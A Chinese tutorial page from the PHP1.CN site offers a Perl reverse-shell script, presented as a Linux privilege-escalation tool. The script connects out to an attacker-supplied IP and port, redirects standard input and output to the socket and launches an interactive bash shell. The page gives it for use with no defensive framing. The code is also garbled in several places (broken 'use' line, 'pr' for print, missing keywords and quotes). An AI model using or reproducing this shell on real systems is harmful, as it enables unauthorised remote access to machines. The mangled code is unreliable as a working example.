当前位置:  首页  >  服务器技术  >  Linux/unix  >  Linux教程

linux下提权反弹脚本

linux下提权反弹脚本!代码如下#!usrbinperl-w#usestrict;useSocket;useI:Handle;($#ARGV+1!2){pr$#ARGV$0Remote_IPRemote_Port\n;exit1;}my$remote_ip$ARGV[0];my$remote_port$ARGV[1];my$protogetprotobyname(tc

linux下提权反弹脚本!代码如下  
#!/usr/bin/perl -w      
#      
     
use strict;      
use Socket;      
use I:Handle;      
     
($#ARGV+1 != 2){      
       pr $#ARGV $0 Remote_IP Remote_Port n;      
         exit 1;      
}      
     
my $remote_ip = $ARGV[0];      
my $remote_port = $ARGV[1];      
     
my $proto = getprotobyname(tcp);      
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));      
     
my $shell = ’/bin/bash -i’;      
     
(SOCK, AF_INET, SOCK_STREAM, $proto);      
     
STDOUT->autoflush(1);      
SOCK->autoflush(1);      
     
connect(SOCK,$pack_addr) or die can not connect:$!;      
     
open STDIN, <&SOCK;      
open STDOUT, >&SOCK;      
open STDERR, >&SOCK;      
     
pr Enjoy the shell.n;               
     
system($shell);      
close SOCK;      
     
exit 0;      
把以上代码保存为*.pl

吐了个 "CAO" !
扫码关注 PHP1 官方微信号
PHP1.CN | 中国最专业的PHP中文社区 | PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | PHP问答
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved PHP1.CN 第一PHP社区 版权所有